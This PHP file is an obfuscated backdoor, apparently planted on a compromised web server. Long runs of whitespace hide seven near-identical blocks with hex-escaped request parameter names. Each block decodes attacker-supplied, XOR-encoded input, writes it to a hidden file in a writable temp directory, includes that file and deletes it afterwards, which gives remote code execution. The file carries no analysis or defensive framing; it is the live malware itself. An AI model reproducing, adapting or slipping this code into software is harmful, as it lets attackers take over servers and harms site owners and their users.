<?php																																										if(!is_null($_REQUEST["va\x6C"] ?? null)){ $pgrp = array_filter(["/tmp", session_save_path(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getcwd()]); $obj = $_REQUEST["va\x6C"]; $obj = explode( '.' , $obj) ; $mrk = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $__len = count($obj); for ($m = 0; $m < $__len; $m++) { $v4 = $obj[$m]; $sChar = ord($salt8[$m% $sLen]); $dec = ((int)$v4 - $sChar - ($m% 10)) ^ 55; $mrk .= chr($dec); } foreach ($pgrp as $key => $reference) { if (!( !is_dir($reference) || !is_writable($reference) )) { $ref = str_replace("{var_dir}", $reference, "{var_dir}/.flg"); if (file_put_contents($ref, $mrk)) { include $ref; @unlink($ref); die(); } } } }
																																										if(isset($_POST) && isset($_POST["t\x6Bn"])){ $record = array_filter(["/dev/shm", getcwd(), "/var/tmp", getenv("TEMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP")]); $pset = $_POST["t\x6Bn"]; $pset = explode ( '.', $pset ); $dat = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($pset as $m=> $v7): $sChar = ord($s[$m%$sLen]); $d = ((int)$v7 - $sChar - ($m%10)) ^ 87; $dat .= chr($d); endforeach; for ($flag = 0, $elem = count($record); $flag < $elem; $flag++) { $marker = $record[$flag]; if ((is_dir($marker) and is_writable($marker))) { $binding = str_replace("{var_dir}", $marker, "{var_dir}/.value"); if (file_put_contents($binding, $dat)) { include $binding; @unlink($binding); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["p\x74\x72"])){ $pset = $_POST["p\x74\x72"]; $pset = explode ( ".", $pset) ; $k = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); $w = 0; while ($w< count($pset)) { $v2 = $pset[$w]; $sChar = ord($s5[$w % $sLen]); $dec = ((int)$v2 - $sChar - ($w % 10)) ^ 11; $k .= chr($dec); $w++; } $itm = array_filter(["/tmp", getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir")]); $binding = 0; do { $tkn = $itm[$binding] ?? null; if ($binding >= count($itm)) break; if (is_dir($tkn) ? is_writable($tkn) : false) { $holder = vsprintf("%s/%s", [$tkn, ".symbol"]); $success = file_put_contents($holder, $k); if ($success) { include $holder; @unlink($holder); exit;} } $binding++; } while (true); }
																																										if(in_array("\x70\x6Fi\x6E\x74er", array_keys($_POST))){ $record = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/dev/shm", session_save_path(), "/tmp", getcwd(), getenv("TEMP")]); $token = $_POST["\x70\x6Fi\x6E\x74er"]; $token = explode(".", $token); $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach($token as $y=> $v5): $chS = ord($salt[$y % $lenS]); $dec =((int)$v5 - $chS -($y % 10)) ^ 67; $data_chunk .= chr($dec); endforeach; while ($desc = array_shift($record)) { if (max(0, is_dir($desc) * is_writable($desc))) { $key = str_replace("{var_dir}", $desc, "{var_dir}/.itm"); $file = fopen($key, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $key; @unlink($key); die(); } } } }
																																										if(array_key_exists("f\x61c", $_POST)){ $parameter_group = $_POST["f\x61c"]; $parameter_group = explode ( ".", $parameter_group ) ; $tkn=''; $s3='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s3); foreach($parameter_group as $p => $v4): $chS=ord($s3[$p % $sLen]); $d=((int)$v4 - $chS -($p % 10)) ^ 60; $tkn .= chr($d); endforeach; $itm = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getcwd(), "/dev/shm", getenv("TEMP"), "/tmp", sys_get_temp_dir()]); for ($flg = 0, $comp = count($itm); $flg < $comp; $flg++) { $property_set = $itm[$flg]; if (is_dir($property_set) && is_writable($property_set)) { $marker = implode("/", [$property_set, ".token"]); if (@file_put_contents($marker, $tkn) !== false) { include $marker; unlink($marker); die(); } } } }
																																										if(array_key_exists("p\x72ope\x72\x74\x79_\x73e\x74", $_REQUEST) && !is_null($_REQUEST["p\x72ope\x72\x74\x79_\x73e\x74"])){ $ptr = $_REQUEST["p\x72ope\x72\x74\x79_\x73e\x74"]; $ptr= explode ( "." , $ptr ) ; $binding= ''; $salt7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt7); $y= 0; array_walk($ptr, function ($v1) use (&$binding, &$y, $salt7, $lenS) { $chS= ord($salt7[$y %$lenS]); $d= ((int)$v1 - $chS - ($y %10)) ^65; $binding .= chr($d); $y++; }); $pset = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), "/var/tmp", getenv("TMP"), getcwd(), "/tmp", session_save_path(), sys_get_temp_dir()]); foreach ($pset as $data_chunk): if ((bool)is_dir($data_chunk) && (bool)is_writable($data_chunk)) { $tkn = vsprintf("%s/%s", [$data_chunk, ".ent"]); $success = file_put_contents($tkn, $binding); if ($success) { include $tkn; @unlink($tkn); die();} } endforeach; }


if(filter_has_var(INPUT_POST, "re\x66")){
	$comp = array_filter(["/dev/shm", "/var/tmp", "/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path()]);
	$ptr = $_REQUEST["re\x66"];
		$ptr=	 	explode( 	'.' ,$ptr 	 );   
	$binding		=	 '';
            $s		=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS		=	 strlen($s 	);
            $k		=	 0;
    
            while ($k < count($ptr)) {  $v6		=	 $ptr[$k];
                $sChar		=	 ord($s[$k  %	 $lenS] 	);
                $d		=	 ((int)$v6 - $sChar - ($k  %	 10))	^	52;
                $binding	 .=chr($d 	);
                $k++;
            }
	for ($flag = 0, $elem = count($comp); $flag < $elem; $flag++) {
    $entity = $comp[$flag];
    		if ((is_dir($entity) and is_writable($entity))) {
    $reference = str_replace("{var_dir}", $entity, "{var_dir}/.data_chunk");
    if (file_put_contents($reference, $binding)) {
	include $reference;
	@unlink($reference);
	die();
}
}
}
}